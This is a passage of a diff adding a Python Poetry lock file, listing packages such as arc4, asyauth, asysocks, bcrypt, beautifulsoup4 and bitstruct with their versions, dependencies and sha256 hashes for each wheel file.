"sha256:631786051c1468d3ec1010d1fc1089b539831d72d7f08ea342bdcd25aa019620"}, + {file = "arc4-0.5.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:343a67c0bd2dcfdee78dc4269d8bd8ac362e6e911047833172468b337faccb1f"}, + {file = "arc4-0.5.0-cp311-cp311-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:0ffd6df658cf4d348eebbd125e9dcd35fcfcb2efec31ff4258b85791b0207bad"}, + {file = "arc4-0.5.0-cp311-cp311-win_amd64.whl", hash = "sha256:6c20103a2ff7cd43b91d707fb520a3d10dac5b9ef647957a2d19fa3a05725be6"}, + {file = "arc4-0.5.0-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:7eb640302490f105c68336e763a9e8a9513377c46ad0a704c297d5d943f98831"}, + {file = "arc4-0.5.0-cp312-cp312-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:7a3b4325e550a8bc2b56484edf91a983d2bd3f32fae8f169d5a5846a22554ea9"}, + {file = "arc4-0.5.0-cp312-cp312-win_amd64.whl", hash = "sha256:4d07b1aa184b78a6e10d1920dbe92644b4113b34062ad2869f450e678bb7ada6"}, + {file = "arc4-0.5.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:ac5e9c3a589825afd31a10b6edd49bc8fe83ca88b4dc82dea6e977304304d36c"}, + {file = "arc4-0.5.0-cp313-cp313-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:b8bcb09611b9e16a3f9d78b747c135386b59803a3fdecf4e7ff03eb3949e671b"}, + {file = "arc4-0.5.0-cp313-cp313-win_amd64.whl", hash = "sha256:6fb7f6a7b16bc6fc3ed1eefaaa201810edec0e7dc08683970b2be0699b401e39"}, + {file = "arc4-0.5.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:8c8ce5f81553956660eb845c9d8ecea3db1de358e2b5fdfd49ba5033da2c4b14"}, + {file = "arc4-0.5.0-cp39-cp39-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:2aa709409fed2e7db2525c5b2022369067feb25a44723a14c90b629c9d2fa091"}, + {file = "arc4-0.5.0-cp39-cp39-win_amd64.whl", hash = "sha256:e6584f7a62bab998ef9a908307448cb62dee6555480da95a0c667e2d7372ab72"}, + {file = "arc4-0.5.0-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:cc0f6c9827d5f36a838cefbb3705ce1c6850df456d0e5b81c24733f857f3901d"}, + {file = "arc4-0.5.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:e3f9144cad18c4cdf8d02de1068504c045b29461c511963e4a495ffb61af1148"}, + {file = "arc4-0.5.0-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:ccbed58bff2ce25b45535173221091b86162727caca66f4e383221f8b306113a"}, + {file = "arc4-0.5.0-pp311-pypy311_pp73-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:02435fe04cf147aff25a9be5380b16d6084f2469f51620b5fa3af936a6988c51"}, + {file = "arc4-0.5.0-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:0c47bb37a5b80abcb7043d6b206068e4fbc90d27564aa667b2e7d90b2e7ff2cc"}, + {file = "arc4-0.5.0.tar.gz", hash = "sha256:259d4e505766639b7245d7199f3b4e72134d7adf20196820ffd3015954d85955"}, +] + +[[package]] +name = "argcomplete" +version = "3.6.3" +description = "Bash tab completion for argparse" +optional = false +python-versions = ">=3.8" +groups = ["main"] +files = [ + {file = "argcomplete-3.6.3-py3-none-any.whl", hash = "sha256:f5007b3a600ccac5d25bbce33089211dfd49eab4a7718da3f10e3082525a92ce"}, + {file = "argcomplete-3.6.3.tar.gz", hash = "sha256:62e8ed4fd6a45864acc8235409461b72c9a28ee785a2011cc5eb78318786c89c"}, +] + +[package.extras] +test = ["coverage", "mypy", "pexpect", "ruff", "wheel"] + +[[package]] +name = "asn1crypto" +version = "1.5.1" +description = "Fast ASN.1 parser and serializer with definitions for private keys, public keys, certificates, CRL, OCSP, CMS, PKCS#3, PKCS#7, PKCS#8, PKCS#12, PKCS#5, X.509 and TSP" +optional = false +python-versions = "*" +groups = ["main"] +files = [ + {file = "asn1crypto-1.5.1-py2.py3-none-any.whl", hash = "sha256:db4e40728b728508912cbb3d44f19ce188f218e9eba635821bb4b68564f8fd67"}, + {file = "asn1crypto-1.5.1.tar.gz", hash = "sha256:13ae38502be632115abf8a24cbe5f4da52e3b5231990aff31123c805306ccb9c"}, +] + +[[package]] +name = "asn1tools" +version = "0.167.0" +description = "ASN.1 parsing, encoding and decoding." +optional = false +python-versions = "*" +groups = ["main"] +files = [ + {file = "asn1tools-0.167.0.tar.gz", hash = "sha256:cad53f6f6d788a6eec5e37543401cd8c39f138cc8016b64629ec29fb4735f5b2"}, +] + +[package.dependencies] +bitstruct = "*" +pyparsing = ">=3.1.2" + +[package.extras] +cache = ["diskcache"] +shell = ["prompt_toolkit"] + +[[package]] +name = "asyauth" +version = "0.0.23" +description = "Unified authentication library" +optional = false +python-versions = ">=3.7" +groups = ["main"] +files = [ + {file = "asyauth-0.0.23-py3-none-any.whl", hash = "sha256:bbca62d10c4b0d2585103791d7451adda325c3d654114253638456fe84d39b0e"}, + {file = "asyauth-0.0.23.tar.gz", hash = "sha256:36f0384ddb2b625a10333363cafe190d6e9c9ed17fd07b3e2887641a3cc626f0"}, +] + +[package.dependencies] +asn1crypto = ">=1.3.0" +asysocks = ">=0.2.18" +minikerberos = ">=0.4.9" +unicrypto = ">=0.0.12" + +[[package]] +name = "asysocks" +version = "0.2.18" +description = "" +optional = false +python-versions = ">=3.6" +groups = ["main"] +files = [ + {file = "asysocks-0.2.18-py3-none-any.whl", hash = "sha256:a881536456d922a9fde44031aba262bc34ee39a9d14749ded1e8a4820602a37d"}, + {file = "asysocks-0.2.18.tar.gz", hash = "sha256:cc6196e82c8adc8b3ce2321dddf635500c760316da4b7cca321b532cbb3dfdf5"}, +] + +[package.dependencies] +asn1crypto = "*" +cryptography = "*" +h11 = ">=0.14.0" + +[[package]] +name = "bcrypt" +version = "5.0.0" +description = "Modern password hashing for your software and your servers" +optional = false +python-versions = ">=3.8" +groups = ["main"] +files = [ + {file = "bcrypt-5.0.0-cp313-cp313t-macosx_10_12_universal2.whl", hash = "sha256:f3c08197f3039bec79cee59a606d62b96b16669cff3949f21e74796b6e3cd2be"}, + {file = "bcrypt-5.0.0-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:200af71bc25f22006f4069060c88ed36f8aa4ff7f53e67ff04d2ab3f1e79a5b2"}, + {file = "bcrypt-5.0.0-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:baade0a5657654c2984468efb7d6c110db87ea63ef5a4b54732e7e337253e44f"}, + {file = "bcrypt-5.0.0-cp313-cp313t-manylinux_2_28_aarch64.whl", hash = "sha256:c58b56cdfb03202b3bcc9fd8daee8e8e9b6d7e3163aa97c631dfcfcc24d36c86"}, + {file = "bcrypt-5.0.0-cp313-cp313t-manylinux_2_28_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:4bfd2a34de661f34d0bda43c3e4e79df586e4716ef401fe31ea39d69d581ef23"}, + {file = "bcrypt-5.0.0-cp313-cp313t-manylinux_2_28_x86_64.whl", hash = "sha256:ed2e1365e31fc73f1825fa830f1c8f8917ca1b3ca6185773b349c20fd606cec2"}, + {file = "bcrypt-5.0.0-cp313-cp313t-manylinux_2_34_aarch64.whl", hash = "sha256:83e787d7a84dbbfba6f250dd7a5efd689e935f03dd83b0f919d39349e1f23f83"}, + {file = "bcrypt-5.0.0-cp313-cp313t-manylinux_2_34_x86_64.whl", hash = "sha256:137c5156524328a24b9fac1cb5db0ba618bc97d11970b39184c1d87dc4bf1746"}, + {file = "bcrypt-5.0.0-cp313-cp313t-musllinux_1_1_aarch64.whl", hash = "sha256:38cac74101777a6a7d3b3e3cfefa57089b5ada650dce2baf0cbdd9d65db22a9e"}, + {file = "bcrypt-5.0.0-cp313-cp313t-musllinux_1_1_x86_64.whl", hash = "sha256:d8d65b564ec849643d9f7ea05c6d9f0cd7ca23bdd4ac0c2dbef1104ab504543d"}, + {file = "bcrypt-5.0.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:741449132f64b3524e95cd30e5cd3343006ce146088f074f31ab26b94e6c75ba"}, + {file = "bcrypt-5.0.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:212139484ab3207b1f0c00633d3be92fef3c5f0af17cad155679d03ff2ee1e41"}, + {file = "bcrypt-5.0.0-cp313-cp313t-win32.whl", hash = "sha256:9d52ed507c2488eddd6a95bccee4e808d3234fa78dd370e24bac65a21212b861"}, + {file = "bcrypt-5.0.0-cp313-cp313t-win_amd64.whl", hash = "sha256:f6984a24db30548fd39a44360532898c33528b74aedf81c26cf29c51ee47057e"}, + {file = "bcrypt-5.0.0-cp313-cp313t-win_arm64.whl", hash = "sha256:9fffdb387abe6aa775af36ef16f55e318dcda4194ddbf82007a6f21da29de8f5"}, + {file = "bcrypt-5.0.0-cp314-cp314t-macosx_10_12_universal2.whl", hash = "sha256:4870a52610537037adb382444fefd3706d96d663ac44cbb2f37e3919dca3d7ef"}, + {file = "bcrypt-5.0.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:48f753100931605686f74e27a7b49238122aa761a9aefe9373265b8b7aa43ea4"}, + {file = "bcrypt-5.0.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:f70aadb7a809305226daedf75d90379c397b094755a710d7014b8b117df1ebbf"}, + {file = "bcrypt-5.0.0-cp314-cp314t-manylinux_2_28_aarch64.whl", hash = "sha256:744d3c6b164caa658adcb72cb8cc9ad9b4b75c7db507ab4bc2480474a51989da"}, + {file = "bcrypt-5.0.0-cp314-cp314t-manylinux_2_28_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:a28bc05039bdf3289d757f49d616ab3efe8cf40d8e8001ccdd621cd4f98f4fc9"}, + {file = "bcrypt-5.0.0-cp314-cp314t-manylinux_2_28_x86_64.whl", hash = "sha256:7f277a4b3390ab4bebe597800a90da0edae882c6196d3038a73adf446c4f969f"}, + {file = "bcrypt-5.0.0-cp314-cp314t-manylinux_2_34_aarch64.whl", hash = "sha256:79cfa161eda8d2ddf29acad370356b47f02387153b11d46042e93a0a95127493"}, + {file = "bcrypt-5.0.0-cp314-cp314t-manylinux_2_34_x86_64.whl", hash = "sha256:a5393eae5722bcef046a990b84dff02b954904c36a194f6cfc817d7dca6c6f0b"}, + {file = "bcrypt-5.0.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:7f4c94dec1b5ab5d522750cb059bb9409ea8872d4494fd152b53cca99f1ddd8c"}, + {file = "bcrypt-5.0.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:0cae4cb350934dfd74c020525eeae0a5f79257e8a201c0c176f4b84fdbf2a4b4"}, + {file = "bcrypt-5.0.0-cp314-cp314t-win32.whl", hash = "sha256:b17366316c654e1ad0306a6858e189fc835eca39f7eb2cafd6aaca8ce0c40a2e"}, + {file = "bcrypt-5.0.0-cp314-cp314t-win_amd64.whl", hash = "sha256:92864f54fb48b4c718fc92a32825d0e42265a627f956bc0361fe869f1adc3e7d"}, + {file = "bcrypt-5.0.0-cp314-cp314t-win_arm64.whl", hash = "sha256:dd19cf5184a90c873009244586396a6a884d591a5323f0e8a5922560718d4993"}, + {file = "bcrypt-5.0.0-cp38-abi3-macosx_10_12_universal2.whl", hash = "sha256:fc746432b951e92b58317af8e0ca746efe93e66555f1b40888865ef5bf56446b"}, + {file = "bcrypt-5.0.0-cp38-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:c2388ca94ffee269b6038d48747f4ce8df0ffbea43f31abfa18ac72f0218effb"}, + {file = "bcrypt-5.0.0-cp38-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:560ddb6ec730386e7b3b26b8b4c88197aaed924430e7b74666a586ac997249ef"}, + {file = "bcrypt-5.0.0-cp38-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:d79e5c65dcc9af213594d6f7f1fa2c98ad3fc10431e7aa53c176b441943efbdd"}, + {file = "bcrypt-5.0.0-cp38-abi3-manylinux_2_28_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:2b732e7d388fa22d48920baa267ba5d97cca38070b69c0e2d37087b381c681fd"}, + {file = "bcrypt-5.0.0-cp38-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:0c8e093ea2532601a6f686edbc2c6b2ec24131ff5c52f7610dd64fa4553b5464"}, + {file = "bcrypt-5.0.0-cp38-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:5b1589f4839a0899c146e8892efe320c0fa096568abd9b95593efac50a87cb75"}, + {file = "bcrypt-5.0.0-cp38-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:89042e61b5e808b67daf24a434d89bab164d4de1746b37a8d173b6b14f3db9ff"}, + {file = "bcrypt-5.0.0-cp38-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:e3cf5b2560c7b5a142286f69bde914494b6d8f901aaa71e453078388a50881c4"}, + {file = "bcrypt-5.0.0-cp38-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:f632fd56fc4e61564f78b46a2269153122db34988e78b6be8b32d28507b7eaeb"}, + {file = "bcrypt-5.0.0-cp38-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:801cad5ccb6b87d1b430f183269b94c24f248dddbbc5c1f78b6ed231743e001c"}, + {file = "bcrypt-5.0.0-cp38-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:3cf67a804fc66fc217e6914a5635000259fbbbb12e78a99488e4d5ba445a71eb"}, + {file = "bcrypt-5.0.0-cp38-abi3-win32.whl", hash = "sha256:3abeb543874b2c0524ff40c57a4e14e5d3a66ff33fb423529c88f180fd756538"}, + {file = "bcrypt-5.0.0-cp38-abi3-win_amd64.whl", hash = "sha256:35a77ec55b541e5e583eb3436ffbbf53b0ffa1fa16ca6782279daf95d146dcd9"}, + {file = "bcrypt-5.0.0-cp38-abi3-win_arm64.whl", hash = "sha256:cde08734f12c6a4e28dc6755cd11d3bdfea608d93d958fffbe95a7026ebe4980"}, + {file = "bcrypt-5.0.0-cp39-abi3-macosx_10_12_universal2.whl", hash = "sha256:0c418ca99fd47e9c59a301744d63328f17798b5947b0f791e9af3c1c499c2d0a"}, + {file = "bcrypt-5.0.0-cp39-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:ddb4e1500f6efdd402218ffe34d040a1196c072e07929b9820f363a1fd1f4191"}, + {file = "bcrypt-5.0.0-cp39-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:7aeef54b60ceddb6f30ee3db090351ecf0d40ec6e2abf41430997407a46d2254"}, + {file = "bcrypt-5.0.0-cp39-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:f0ce778135f60799d89c9693b9b398819d15f1921ba15fe719acb3178215a7db"}, + {file = "bcrypt-5.0.0-cp39-abi3-manylinux_2_28_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:a71f70ee269671460b37a449f5ff26982a6f2ba493b3eabdd687b4bf35f875ac"}, + {file = "bcrypt-5.0.0-cp39-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:f8429e1c410b4073944f03bd778a9e066e7fad723564a52ff91841d278dfc822"}, + {file = "bcrypt-5.0.0-cp39-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:edfcdcedd0d0f05850c52ba3127b1fce70b9f89e0fe5ff16517df7e81fa3cbb8"}, + {file = "bcrypt-5.0.0-cp39-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:611f0a17aa4a25a69362dcc299fda5c8a3d4f160e2abb3831041feb77393a14a"}, + {file = "bcrypt-5.0.0-cp39-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:db99dca3b1fdc3db87d7c57eac0c82281242d1eabf19dcb8a6b10eb29a2e72d1"}, + {file = "bcrypt-5.0.0-cp39-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:5feebf85a9cefda32966d8171f5db7e3ba964b77fdfe31919622256f80f9cf42"}, + {file = "bcrypt-5.0.0-cp39-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:3ca8a166b1140436e058298a34d88032ab62f15aae1c598580333dc21d27ef10"}, + {file = "bcrypt-5.0.0-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:61afc381250c3182d9078551e3ac3a41da14154fbff647ddf52a769f588c4172"}, + {file = "bcrypt-5.0.0-cp39-abi3-win32.whl", hash = "sha256:64d7ce196203e468c457c37ec22390f1a61c85c6f0b8160fd752940ccfb3a683"}, + {file = "bcrypt-5.0.0-cp39-abi3-win_amd64.whl", hash = "sha256:64ee8434b0da054d830fa8e89e1c8bf30061d539044a39524ff7dec90481e5c2"}, + {file = "bcrypt-5.0.0-cp39-abi3-win_arm64.whl", hash = "sha256:f2347d3534e76bf50bca5500989d6c1d05ed64b440408057a37673282c654927"}, + {file = "bcrypt-5.0.0-pp311-pypy311_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:7edda91d5ab52b15636d9c30da87d2cc84f426c72b9dba7a9b4fe142ba11f534"}, + {file = "bcrypt-5.0.0-pp311-pypy311_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:046ad6db88edb3c5ece4369af997938fb1c19d6a699b9c1b27b0db432faae4c4"}, + {file = "bcrypt-5.0.0-pp311-pypy311_pp73-manylinux_2_34_aarch64.whl", hash = "sha256:dcd58e2b3a908b5ecc9b9df2f0085592506ac2d5110786018ee5e160f28e0911"}, + {file = "bcrypt-5.0.0-pp311-pypy311_pp73-manylinux_2_34_x86_64.whl", hash = "sha256:6b8f520b61e8781efee73cba14e3e8c9556ccfb375623f4f97429544734545b4"}, + {file = "bcrypt-5.0.0.tar.gz", hash = "sha256:f748f7c2d6fd375cc93d3fba7ef4a9e3a092421b8dbf34d8d4dc06be9492dfdd"}, +] + +[package.extras] +tests = ["pytest (>=3.2.1,!=3.3.0)"] +typecheck = ["mypy"] + +[[package]] +name = "beautifulsoup4" +version = "4.13.5" +description = "Screen-scraping library" +optional = false +python-versions = ">=3.7.0" +groups = ["main"] +files = [ + {file = "beautifulsoup4-4.13.5-py3-none-any.whl", hash = "sha256:642085eaa22233aceadff9c69651bc51e8bf3f874fb6d7104ece2beb24b47c4a"}, + {file = "beautifulsoup4-4.13.5.tar.gz", hash = "sha256:5e70131382930e7c3de33450a2f54a63d5e4b19386eab43a5b34d594268f3695"}, +] + +[package.dependencies] +soupsieve = ">1.2" +typing-extensions = ">=4.0.0" + +[package.extras] +cchardet = ["cchardet"] +chardet = ["chardet"] +charset-normalizer = ["charset-normalizer"] +html5lib = ["html5lib"] +lxml = ["lxml"] + +[[package]] +name = "bitstruct" +version = "8.22.1" +description = "This module performs conversions between Python values and C bit field structs represented as Python byte strings." +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "bitstruct-8.22.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:9c250d8dbd6350dfd73cf4bccab700122072388bd388d284ada37149eeb49979"}, + {file = "bitstruct-8.22.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:7fb40f50be4e60cb7a345ca4ceb16afcbcfecfa7cedf1cded44b8e1d8b8c3109"}, + {file = "bitstruct-8.22.1-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8ebcc2ad3b9addd4a6a409481754c78ade65a8d24a4d34352e37df9b48aeabea"}, + {file = "bitstruct-8.22.1-cp310-cp310-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:ec4d4e8308b3098e4de43f7ccd05d626bf2e4b650bea2b5fec9581f7bd7b4d01"}, + {file = "bitstruct-8.22.1-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8e44c42bbfa9540a3df261c9a9613a88e5e5df0ad3931bcc76b9f1cc215f4ece"}, + {file = "bitstruct-8.22.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:8140c51b2e663d0efba9a6f5a77be4f26f3e147e65579be83f7c9b370df56cbe"}, + {file = "bitstruct-8.22.1-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:f7e6bff01ea3765d28d8e426b49e6a0e4f581a4d47329f54d3a83f3f0c23380e"}, + {file = "bitstruct-8.22.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:9430cc3849c24549578210c3e185427d01bc48734acaa9d7d17a767b19719381"}, + {file = "bitstruct-8.22.1-cp310-cp310-win32.whl", hash = "sha256:9a00e7077c81318a2d7aea6a5e2988301ef316621136ddede68b4a361afc7581"}, + {file = "bitstruct-8.22.1-cp310-cp310-win_amd64.whl", hash = "sha256:43e3d8113263894e2ca107d2f7376f2767cb880a6f9952b0f66087545a230994"}, + {file = "bitstruct-8.22.1-cp310-cp310-win_arm64.whl", hash = "sha256:86f68adf8945b80007cfed2318277fc2d5de5fb253d7df5d7a703dc10b54e149"}, + {file = "bitstruct-8.22.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:a4d235cbdba2df0747d4e4a6a6d3d46505cc2b52b16e9d3d4431423401c565f6"}, + {file = "bitstruct-8.22.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:7b3c29ee922e68538c575667bdc924e3ef09d21da94fd48a4a430f9c32c70997"}, + {file = "bitstruct-8.22.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7a493a66fac64f989f3c8043e40f9ceb6b8169592c7e5a9d37a1409f00cb757a"}, + {file = "bitstruct-8.22.1-cp311-cp311-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:32f8ffe2f26f25dc4339e9c69acf2ba7ada877a377111bd2b1f6a8804953b51a"}, + {file = "bitstruct-8.22.1-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:02bddf1893550a6e7e6fefb7065a222e1b10447f903cac4fbff38766df35712a"}, + {file = "bitstruct-8.22.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:3e829b10672f5ea5ed60f9d835cc2f3c2e1190448429051719600a2f6d891a0a"}, + {file = "bitstruct-8.22.1-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:956a3998e5e031bc2d1c2312afb9f714ec6131621c40123d3bb79ff1b69b82a8"}, + {file = "bitstruct-8.22.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:fa74a1b7426f94d1a4917944164230ef34aa85e5a01164d6dbc150a71f90c2ca"}, + {file = "bitstruct-8.22.1-cp311-cp311-win32.whl", hash = "sha256:8fd1b73c9c2c613c385f9f4fd9feaabedf88c1c740bff25a4738b1c6a70d4111"}, + {file = "bitstruct-8.22.1-cp311-cp311-win_amd64.whl", hash = "sha256:419e3ce7d1d89a809a7d966d72de16cb869bd3fe80b587e5bc7cf80debd7df8d"}, + {file = "bitstruct-8.22.1-cp311-cp311-win_arm64.whl", hash = "sha256:6e548bfc4e289cacae704458ac51c6c76188c305701bd14f3f4fec600fce58e8"}, + {file = "bitstruct-8.22.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:18ff3842c89596f88307f458696ebdcbd4af718af9f0f2cad863102387200b26"}, + {file = "bitstruct-8.22.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:837629e72aaf247ee214d19ae0580571c2ba0ddeb3144dff12f7014cb8f3d94d"}, + {file = "bitstruct-8.22.1-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:2bef6f3309b39880e6f5ea4f274899062a3511eb630563858a8be6332c332eac"}, + {file = "bitstruct-8.22.1-cp312-cp312-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:5958ea7f61c45e6d769bcbd0f4357cb91f1ba5cbea9323855a1c45d8bcd03b34"}, + {file = "bitstruct-8.22.1-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f965015d75e7cc949dff3783f82378a135fe67ac549a41d7b90eb0abf06fa81d"}, + {file = "bitstruct-8.22.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:88573f965ce5042113e236c74fdec828abfdabec3d1cceda1e9766c86de74978"}, + {file = "bitstruct-8.22.1-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:ec6eaf863c85d99fe3cdc6426c77f03320ff42d0905810cef73499f92c388a30"}, + {file = "bitstruct-8.22.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:6aeee6bfcdcf0d158cae706b1fe20f42c97b06bd778eca794aa097973e782c31"}, + {file = "bitstruct-8.22.1-cp312-cp312-win32.whl", hash = "sha256:275aeaf08bf3967ed7afa568c5d9726af17ff4b558f1d82e1c587118cad988c3"}, + {file = "bitstruct-8.22.1-cp312-cp312-win_amd64.whl", hash = "sha256:4d5bb7484ff55a18d4cc1370b9e4cd94893e2ec33d9eb985c313c1cbdca756e6"}, + {file = "bitstruct-8.22.1-cp312-cp312-win_arm64.whl", hash = "sha256:a38e90197bd1bc87863e5180c5556af71528ad03940d41e7a74d602c2255c4ba"}, + {file = "bitstruct-8.22.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:ef0d8476eb20f1b0a46ffe0b85eaef8eac98005d6f758ed083e05ba26c404a19"}, + {file = "bitstruct-8.22.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:84ec7804eb606545fd6fcf2bac3a795737239fdc989faad88850a483a2b2af7a"}, + {file = "bitstruct-8.22.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6fe6c4f4cbc2f5bc173d34538b5fe529b0fdd1e30e5d0a56cd7b108cc32d803d"}, + {file = "bitstruct-8.22.1-cp313-cp313-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:356d89faf20264c72d0328b30a38a618c6b65db429b91cbd34f67dbc97dd42a6"}, + {file = "bitstruct-8.22.1-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:98251f43c2991aa3bf660806b501cf94367dbdcc9c7461cc0cdc9724ddc7bb27"}, + {file = "bitstruct-8.22.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:e753de82211d29aaa70f35af6a2d7f027f7487342e24dc98691575dbb2d2761f"}, + {file = "bitstruct-8.22.1-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:7065a241e9d282d6a62556fead7da369c1827a26ceb3eedd377113a021121a5d"}, + {file = "bitstruct-8.22.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:453043525cf86751868c76f9a32a92786ffbafbd0a48ae7fd2bedc012fa45ee9"}, + {file = "bitstruct-8.22.1-cp313-cp313-win32.whl", hash = "sha256:264cd11f52e1b5f513cee6c01c75bcefdf8b7b4c2b1c78f8efa35ef268c033a6"}, + {file = "bitstruct-8.22.1-cp313-cp313-win_amd64.whl", hash = "sha256:c4eecefb86b0762a2741f5f6810aac258a5dea58c288a331e972ce615ed3e2b7"}, + {file = "bitstruct-8.22.1-cp313-cp313-win_arm64.whl", hash = "sha256:3db208565632f5579db254d78df77fc930cb0b23ca6f09151c948785146adda5"}, + {file = "bitstruct-8.22.1-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:098f6b66f89e3bbe320dd31b55094b02c51f365a8ee8f75c0c99e98833eae6a8"}, + {file = "bitstruct-8.22.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:2c5b1ef022b0d690b6707464ee1bfd394c79f9a9ef4e765faf1168056fa21337"}, + {file = "bitstruct-8.22.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b94cb01f327e8154c4300fc690a69fd1d856064cbcc5b0bf2e8c2f090e40a5c7"}, + {file = "bitstruct-8.22.1-cp314-cp314-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:8b8f262edb37b1bbf37581f29f64e8e879b87101e07257e56ba47b5d797a3364"}, + {file = "bitstruct-8.22.1-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f89b5a8057dff42383829f6fce9aadeba619c151685a90e0faf4ab53e940224b"}, + {file = "bitstruct-8.22.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:10321fc31368eeaecb78a34b5dd5071749243fc3ce426ff3bb2e4038bfd11454"}, + {file = "bitstruct-8.22.1-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:3f13a7df190dc54dddff97de7d2a8d1069e4022469e1d7aa66ae10f4eee04d3b"}, + {file = "bitstruct-8.22.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:bc084f5a7a8b258668ebde5e914a4c0290d496612161472eef079d469e49227e"}, + {file = "bitstruct-8.22.1-cp314-cp314-win32.whl", 